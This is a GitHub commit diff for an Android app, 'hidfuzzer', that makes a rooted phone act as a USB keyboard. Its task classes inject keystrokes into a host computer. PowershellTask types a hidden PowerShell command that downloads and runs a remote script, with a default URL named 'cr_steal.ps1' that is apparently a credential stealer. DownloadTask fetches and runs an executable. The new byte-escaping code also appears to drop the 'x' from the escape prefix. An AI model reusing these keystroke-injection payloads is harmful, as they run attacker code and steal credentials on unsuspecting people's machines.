Skip to content

Commit 4e4d579

Browse files
committed
More efficient byte conversion
Task description
1 parent aeef780 commit 4e4d579

File tree

12 files changed

+77
-56
lines changed

12 files changed

+77
-56
lines changed

app/build.gradle

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ android {
88
minSdkVersion 15
99
targetSdkVersion 25
1010
versionCode 1
11-
versionName "1.0"
11+
versionName "0.0.5"
1212
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
1313
}
1414
buildTypes {
@@ -25,6 +25,6 @@ dependencies {
2525
exclude group: 'com.android.support', module: 'support-annotations'
2626
})
2727
compile 'com.android.support:appcompat-v7:25.1.0'
28-
compile 'eu.chainfire:libsuperuser:1.0.0.+'
28+
compile 'eu.chainfire:libsuperuser:1.0.0.201608240809'
2929
testCompile 'junit:junit:4.12'
3030
}

app/src/main/java/cf/netdex/hidfuzzer/MainActivity.java

Lines changed: 42 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,17 @@
11
package cf.netdex.hidfuzzer;
22

3+
import android.content.Context;
34
import android.os.Bundle;
45
import android.support.v7.app.AppCompatActivity;
6+
import android.widget.ArrayAdapter;
57
import android.widget.CompoundButton;
68
import android.widget.Spinner;
79
import android.widget.ToggleButton;
810

11+
import java.lang.reflect.InvocationTargetException;
12+
import java.util.ArrayList;
13+
import java.util.HashMap;
14+
915
import cf.netdex.hidfuzzer.task.PowershellTask;
1016
import cf.netdex.hidfuzzer.task.DownloadTask;
1117
import cf.netdex.hidfuzzer.task.WallpaperTask;
@@ -18,37 +24,55 @@ public class MainActivity extends AppCompatActivity {
1824
public static String TAG = "tag_hidfuzzer";
1925
private HIDTask RUNNING_TASK;
2026

27+
static final Class[] TASKS = {
28+
TestTask.class,
29+
WallpaperTask.class,
30+
DownloadTask.class,
31+
PowershellTask.class,
32+
FuzzerTask.class
33+
};
34+
35+
static final HashMap<String, Class> mTaskMap = new HashMap<>();
36+
static final ArrayList<String> mTaskSpinnerItems = new ArrayList<>();
37+
static {
38+
for (Class c : TASKS) {
39+
mTaskMap.put(c.getName(), c);
40+
mTaskSpinnerItems.add(c.getName());
41+
}
42+
}
43+
2144
protected void onCreate(Bundle savedInstanceState) {
2245
super.onCreate(savedInstanceState);
2346
setContentView(R.layout.activity_main);
2447

25-
2648
final ToggleButton btnPoll = (ToggleButton) findViewById(R.id.btnPoll);
2749
final Spinner spnTask = (Spinner) findViewById(R.id.spnTask);
2850

51+
52+
ArrayAdapter<String> adapter = new ArrayAdapter<String>(
53+
this, android.R.layout.simple_spinner_item, mTaskSpinnerItems);
54+
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
55+
spnTask.setAdapter(adapter);
56+
2957
btnPoll.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
3058
@Override
3159
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
3260
if (isChecked) {
3361
String stask = (String) spnTask.getSelectedItem();
34-
switch(stask){
35-
case "Fuzzer":
36-
RUNNING_TASK = new FuzzerTask(MainActivity.this);
37-
break;
38-
case "Test":
39-
RUNNING_TASK = new TestTask(MainActivity.this);
40-
break;
41-
case "Wallpaper":
42-
RUNNING_TASK = new WallpaperTask(MainActivity.this);
43-
break;
44-
case "Download":
45-
RUNNING_TASK = new DownloadTask(MainActivity.this);
46-
break;
47-
case "PowerShell":
48-
RUNNING_TASK = new PowershellTask(MainActivity.this);
49-
break;
62+
Class c = mTaskMap.get(stask);
63+
try {
64+
65+
RUNNING_TASK = (HIDTask) c.getDeclaredConstructor(Context.class).newInstance(MainActivity.this);
66+
RUNNING_TASK.execute();
67+
} catch (InstantiationException e) {
68+
e.printStackTrace();
69+
} catch (IllegalAccessException e) {
70+
e.printStackTrace();
71+
} catch (InvocationTargetException e) {
72+
e.printStackTrace();
73+
} catch (NoSuchMethodException e) {
74+
e.printStackTrace();
5075
}
51-
RUNNING_TASK.execute();
5276
} else {
5377
if (RUNNING_TASK != null)
5478
RUNNING_TASK.cancel(false);

app/src/main/java/cf/netdex/hidfuzzer/hid/HID.java

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -88,6 +88,8 @@ public void onCommandResult(int commandCode, int exitCode) {
8888
return err[0];
8989
}
9090

91+
private final static char[] hexArray = "0123456789ABCDEF".toCharArray();
92+
9193
/**
9294
* Escapes a byte array into a string
9395
* ex. [0x0, 0x4, 0x4] => "\x00\x04\x04"
@@ -97,11 +99,15 @@ public void onCommandResult(int commandCode, int exitCode) {
9799
*/
98100
private static String escapeBytes(byte[] arr) {
99101
StringBuilder sb = new StringBuilder();
100-
for (byte b : arr) {
101-
sb.append(String.format("\\x%02x", b));
102+
for ( int j = 0; j < arr.length; j++ ) {
103+
int v = arr[j] & 0xFF;
104+
sb.append("\\").append(hexArray[v >>> 4]).append(hexArray[v & 0x0F]);
102105
}
103106
return sb.toString();
104107
}
105108

106109

110+
111+
112+
107113
}

app/src/main/java/cf/netdex/hidfuzzer/hid/HIDR.java

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
/**
1212
* Wrapper for HID class for ease of usage
13-
*
13+
* <p>
1414
* Created by netdex on 1/16/2017.
1515
*/
1616

@@ -35,7 +35,7 @@ public void delay(long m) {
3535
}
3636
}
3737

38-
public int test(){
38+
public int test() {
3939
return hid_keyboard((byte) 0, Input.KB.K.VOLUME_UP.c);
4040
}
4141

@@ -109,11 +109,9 @@ public int send_string(String s, int d) {
109109
boolean st = AP_MAP_SHIFT[(int) c];
110110
if (cd == -1)
111111
throw new IllegalArgumentException("Given string contains illegal characters");
112-
if (c == lc)
113-
ec |= hid_keyboard();
112+
if (c == lc) ec |= hid_keyboard();
114113
ec |= hid_keyboard(st ? Input.KB.M.LSHIFT.c : 0, cd);
115-
if (d != 0)
116-
delay(d);
114+
if (d != 0) delay(d);
117115
lc = c;
118116
}
119117
ec |= hid_keyboard();

app/src/main/java/cf/netdex/hidfuzzer/task/DownloadTask.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@
1717

1818
public class DownloadTask extends HIDTask {
1919
public DownloadTask(Context context) {
20-
super(context);
20+
super(context, "Downloads and executes a given file. Requires admin account.");
2121
}
2222

2323
@Override
@@ -27,7 +27,6 @@ public void run() {
2727

2828
final HIDR h = this.getHIDR();
2929

30-
say("Downloads and executes a given file. Requires admin account.");
3130
String file = ask("File to download?", "http://www.greyhathacker.net/tools/messbox.exe");
3231

3332
while (!isCancelled()) {

app/src/main/java/cf/netdex/hidfuzzer/task/FuzzerTask.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
public class FuzzerTask extends HIDTask {
1616

1717
public FuzzerTask(Context context) {
18-
super(context);
18+
super(context, "Fuzzes the HID interface.");
1919
}
2020

2121
@Override

app/src/main/java/cf/netdex/hidfuzzer/task/HIDTask.java

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -32,8 +32,11 @@ public abstract class HIDTask extends AsyncTask<Void, HIDTask.RunState, Void> {
3232
private Shell.Interactive mSU;
3333
private HIDR mH;
3434

35-
public HIDTask(Context context) {
35+
private String mDesc;
36+
37+
public HIDTask(Context context, String desc) {
3638
this.mContext = context;
39+
this.mDesc = desc;
3740
}
3841

3942
public Context getContext() {
@@ -47,6 +50,7 @@ protected Void doInBackground(Void... params) {
4750
mSU.addCommand("chmod 666 " + DEV_KEYBOARD);
4851
mSU.addCommand("chmod 666 " + DEV_MOUSE);
4952
mH = new HIDR(mSU, DEV_KEYBOARD, DEV_MOUSE);
53+
say("Description", mDesc);
5054
toast("Started " + this.getClass().getSimpleName());
5155
run();
5256
toast("Ended " + this.getClass().getSimpleName());
@@ -171,14 +175,14 @@ public void onCancel(DialogInterface dialog) {
171175
return m_Text[0];
172176
}
173177

174-
void say(final String msg) {
178+
void say(final String title, final String msg) {
175179
final CountDownLatch latch = new CountDownLatch(1);
176180

177181
looper(new Runnable() {
178182
@Override
179183
public void run() {
180184
AlertDialog.Builder alertDialog = new AlertDialog.Builder(mContext);
181-
alertDialog.setTitle("Alert");
185+
alertDialog.setTitle(title);
182186
alertDialog.setMessage(msg);
183187
alertDialog.setPositiveButton("OK",
184188
new DialogInterface.OnClickListener() {

app/src/main/java/cf/netdex/hidfuzzer/task/PowershellTask.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@
1414

1515
public class PowershellTask extends HIDTask {
1616
public PowershellTask(Context context) {
17-
super(context);
17+
super(context, "Runs a PowerShell script.");
1818
}
1919

2020
@Override
@@ -24,7 +24,6 @@ public void run() {
2424

2525
final HIDR h = this.getHIDR();
2626

27-
say("Run PowerShell script.");
2827
String file = ask("PowerShell script?", "https://netdex.cf/s/cr_steal/cr_steal.ps1");
2928

3029
while (!isCancelled()) {
@@ -40,6 +39,7 @@ public void run() {
4039
h.press_keys(KB.M.LSUPER.c, KB.K.R.c);
4140
h.delay(2000);
4241
h.send_string("powershell -WindowStyle Hidden iex ((new-object net.webclient).downloadstring('" + file + "'))\n");
42+
4343
publishProgress(RunState.DONE);
4444
while (!isCancelled() && h.test() == 0) {
4545
h.delay(1000);

app/src/main/java/cf/netdex/hidfuzzer/task/TestTask.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
public class TestTask extends HIDTask {
1616

1717
public TestTask(Context context) {
18-
super(context);
18+
super(context, "Task for testing new functionality.");
1919
}
2020

2121
@Override

app/src/main/java/cf/netdex/hidfuzzer/task/WallpaperTask.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@
1414

1515
public class WallpaperTask extends HIDTask {
1616
public WallpaperTask(Context context) {
17-
super(context);
17+
super(context, "Downloads and sets a given wallpaper.");
1818
}
1919

2020
@Override
@@ -24,7 +24,6 @@ public void run() {
2424

2525
final HIDR h = this.getHIDR();
2626

27-
say("Downloads and sets a given wallpaper.");
2827
String file = ask("Wallpaper file?", "http://i.imgur.com/v53KZfh.jpg");
2928
while (!isCancelled()) {
3029
publishProgress(RunState.IDLE);

0 commit comments

Comments
 (0)